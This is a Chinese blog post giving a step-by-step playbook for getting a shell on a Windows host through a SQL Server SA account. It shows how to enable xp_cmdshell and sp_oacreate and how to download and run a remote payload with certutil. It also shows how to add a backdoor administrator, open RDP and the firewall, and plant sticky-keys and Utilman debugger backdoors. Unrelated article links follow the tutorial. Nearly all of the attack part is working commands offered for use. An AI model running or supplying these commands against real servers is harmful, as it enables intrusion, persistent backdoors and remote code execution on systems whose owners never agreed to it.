GetShell 之:利用 SQLServer GetShell

1 SQLServer 基础操作

  1. 查看版本:select @@version;

  2. 查询所有的数据库名称:SELECT Name FROM Master..SysDatabases ORDER BY Name;

2 SQLServer 利用方式:已获得SA账号权限

如果网站里面使用的数据库是 sqlserver,那么如果找到 sa 的密码,利用提权脚本,执行命令。

2.1 xp_cmdshell

  1. 直接执行命令:

    exec master..xp_cmdshell 'whoami';

  2. 远程下载Payload并执行

    exec xp_cmdshell 'certutil -urlcache -split -f http://10.10.10.128/cc123.exe & cc123.exe'

  3. 以上命令需要启用xp_cmdshell,在 SQL Server 2005以后默认关闭,需要手动开启

    # 开启高级选项
    exec sp_configure 'show advanced options', 1;
    # 配置生效
    RECONFIGURE;
    # 开启xp_cmdshell
    exec sp_configure'xp_cmdshell', 1;
    # 配置生效
    RECONFIGURE; # 命令一次开启:
    exec sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure'xp_cmdshell', 1;RECONFIGURE; # 查看xp_cmdshell状态
    exec sp_configure; # 关闭xp_cmdshell
    # 开启高级选项
    exec sp_configure 'show advanced options', 1;
    # 配置生效
    RECONFIGURE;
    # 开启xp_cmdshell
    exec sp_configure'xp_cmdshell', 0;
    # 配置生效
    RECONFIGURE;

  4. SQLServer 删除/恢复 xp_cmdshell

    # 判断是否删除xp_cmdshell,返回1代表存在:
    select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell' # 在SQL Server 2005及之前的版本,删除xp_cmdshell:
    exec master..sp_dropextendedproc xp_cmdshell; # 恢复xp_cmdshell
    exec master.dbo.sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int; # 恢复xp_cmdshell需要xplog70.dll,若管理员也将xplog70.dll删除,需要重新上传xplog70.dll:
    exec master.dbo.sp_addextendedproc xp_cmdshell,@dllname ='C:\xplog70.dll'declare @o int;

2.2 sp_oacreate

如果xp_cmdshell组件被删除了话,还可以使用sp_oacreate来进行提权。

  1. 开启sp_oacreate

    # 开启sp_oacreate
    exec sp_configure 'show advanced options',1;reconfigure;
    exec sp_configure 'ole automation procedures',1;reconfigure; # 关闭sp_oacreate
    exec sp_configure 'show advanced options',1;reconfigure;
    exec sp_configure 'ole automation procedures',0;reconfigure;
    exec sp_configure 'show advanced options',0;reconfigure; # 查看 sp_oacreate 状态
    exec sp_configure;
  2. 添加管理员

    # 开启
    exec sp_configure 'Web AssistantProcedures', 1; RECONFIGURE
    # 添加用户
    declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user test Admin123 /add' # 添加用户到管理员组
    declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators test /add'

2.3 远程连接目标主机

  1. 开启远程桌面

    exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;
    
    # 查看远程桌面开启情况
    exec xp_cmdshell 'netstat -ano -p tcp'; # 开启防火墙
    exec xp_cmdshell 'netsh advfirewall firewall add rule name="RDP" protocol=TCP dir=in localport=3389 action=allow'; # 关闭:仅允许运行使用网络级别身份验证的远程桌面
    exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','UserAuthentication','REG_DWORD',0;

2.4 替换粘滞键

exec master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe',@value_name='Debugger',@type='REG_SZ',@value='c:\windows\system32\cmd.exe'
  • 在目标主机上点击5次shift键,弹出cmd窗口。

2.5 替换 Utilman.exe

exec master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Utilman.exe',@value_name='Debugger',@type='REG_SZ',@value='c:\windows\system32\cmd.exe'
  • 点击锁屏页面左下角轻松使用按钮触发,自动弹出cmd

最后

GetShell 之:利用 SQLServer GetShell的更多相关文章

  1. JSON序列化及利用SqlServer系统存储过程sp_send_dbmail发送邮件(一)

    JSON序列化 http://www.cnblogs.com/yubaolee/p/json_serialize.html 利用SqlServer系统存储过程sp_send_dbmail发送邮件(一) ...

  2. Drupal 7.31SQL注入getshell漏洞利用详解及EXP

    0x00 这个漏洞威力确实很大,而且Drupal用的也比较多,使用Fuzzing跑字典应该可以扫出很多漏洞主机,但是做批量可能会对对方网站造成很大的损失,所以我也就只是写个Exp不再深入下去. 0x0 ...

  3. 利用MSSQL getshell

    此次复现使用的sql server 2000 和sql server 2008两个环境进行的 是在已知数据库密码的基础上进行的 0x01 MSSQL连接 连接MSSQL 2000 新建连接: 填写目的 ...

  4. MIPCMS V3.1.0 远程写入配置文件Getshell过程分析(附批量getshell脚本)

      作者:i春秋作家--F0rmat 0×01 前言 今天翻了下CNVD,看到了一个MIPCMS的远程代码执行漏洞,然后就去官网下载了这个版本的源码研究了下.看下整体的结构,用的是thinkPHP的架 ...

  5. 通达OA任意文件上传+文件包含GetShell/包含日志文件Getshell

    0x01 简介 通达OA采用基于WEB的企业计算,主HTTP服务器采用了世界上最先进的Apache服务器,性能稳定可靠.数据存取集中控制,避免了数据泄漏的可能.提供数据备份工具,保护系统数据安全.多级 ...

  6. 第十节: 利用SQLServer实现Quartz的持久化和双机热备的集群模式 :

    背景: 默认情况下,Quartz.Net作业是持久化在内存中的,即 quartz.jobStore.type = "Quartz.Simpl.RAMJobStore, Quartz" ...

  7. 利用SqlServer的作业定时清除过期数据

    有时候我们的数据库中可能会有那么些存放动态数据的表,比如一些每天定时发出的消息通知信息等数据.这些数据我们只需要临时保存,一些老旧的数据需要定时去清除掉,不然时间一长的话单表数据堆积非常严重.导致数据 ...

  8. 利用SQLServer数据库发送邮件

    汇总篇:http://www.cnblogs.com/dunitian/p/4822808.html#tsql 这个应用案例很多,一般都是预警,比如异常连接的时候,或者数据库报错的时候.等等,,, 先 ...

  9. 利用sqlserver日志恢复数据

    如果你已经急的焦头烂额,看到这篇文章的时候,请你换个坐姿,深呼吸几次,静下心来将这篇文章读完,也许你的问题迎刃而解. 我遇 到的情况是这样的,网站被植入木马,盗取了我的web.config文件,web ...

  10. Jmeter性能测试 如何利用SQLserver造出大批的数据

    作为一个测试人员,需要做性能测试时候,如果没有实际数据,或者实际数据不适合做压测,就要自己着手造数据了. 以下面的接口测试为例,简单介绍下需要的数据: 这是一个会员注册接口,入参比较多,你可以选用全部 ...

随机推荐

  1. 【中间件】K8S-kubernetes

    一.概念 1.为什么使用k8s 生产型应用会涉及多个容器.这些容器必须跨多个服务器主机进行部署 可以构建跨多个容器的应用服务.跨集群调度.扩展这些容器,并长期持续管理这些容器的健康状况 在Docker ...

  2. 24V转5V降压芯片,24V转3.3V的稳压芯片,中文规格书

    一般说明PW2312 是一个高频,同步,整流,降压,开关模式转换器内部功率 MOSFET.它提供了一个非常紧凑的解决方案,以实现 1.5A 的峰值输出电流在广泛的输入电源范围内,具有优良的负载和线路调 ...

  3. 教你用JavaScript实现乘法游戏

    案例介绍 欢迎来的我的小院,我是霍大侠,恭喜你今天又要进步一点点了!我们来用JavaScript编程实战案例,做一个乘法积分游戏.乘法游戏主要通过用户输入的数值和程序计算的数值进行对比,正确积一分,错 ...

  4. java计算器༼༎ຶᴗ༎ຶ༽༼༎ຶᴗ༎ຶ༽༼༎ຶᴗ༎ຶ༽༼༎ຶᴗ༎ຶ༽,又是掉发的一天

    题目: 给你一个字符串表达式 s ,请你实现一个基本计算器来计算并返回它的值. 注意:不允许使用任何将字符串作为数学表达式计算的内置函数,比如 eval() . 示例 1: 输入:s = " ...

  5. [OpenCV实战]41 嵌入式计算机视觉设备选择

    文章目录 1 简介 1.1 深度学习与传统计算机视觉 1.2 性能考量 1.3 社区支持 2 结论 3 参考 在计算机视觉领域中,不同的场景不同的应用程序需要不同的解决方案.在本文中,我们将快速回顾可 ...

  6. tempdb大量闩锁等待问题分析

    背景 客户业务系统升级后,高峰期运行缓慢,在SQL专家云上看到数据库出现严重等待,需要分析原因并紧急处理. 现象 登录到SQL专家云中,进入实时可视化页面,在活动会话里面看到有大量资源等待的会话.   ...

  7. python 第一二次教学笔记之数据操作

    对Python 有一个认知 记住这是一个动态类型的,弱类型语言 ds =111.0 #弱类型 前面不用写明是具体什么类型 haobo=10 haobo = ds #类型转换不再有高低之分 hoabo ...

  8. Axure 列表左右滑动交互-删除、置顶

    Axure 列表左右滑动交互 左滑:删除.标记 右滑:置顶.回复 拖一个动态面板,命名为[滑动面板],添加三个状态,并分别命名为:正常状态.向左状态.向右状态 添加元件 正常状态 向左状态 将[正常状 ...

  9. 结构型模式 - 享元模式Flyweight

    学习而来,代码是自己敲的.也有些自己的理解在里边,有问题希望大家指出. 更像是单例模式 + 简单工厂模式 享元模式的定义与特点 享元(Fiyweight)模式的定义:运用共享技术来有效的支持大量细粒度 ...

  10. Quartz.Net 官方教程 Tutorial 1/3(Jobs 和 Trigger)

    根据官网说明 类型 概述 IScheduler 调度类核心接口 IJob 独立实现业务逻辑需要继承的任务接口 IJobDetail 给任务接口定义实例的任务说明类接口 ITrigger 触发器,设置何 ...